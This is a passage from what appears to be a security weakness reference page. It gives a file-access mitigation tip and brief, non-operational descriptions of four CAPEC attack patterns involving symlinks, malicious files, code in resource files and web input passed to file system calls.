  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.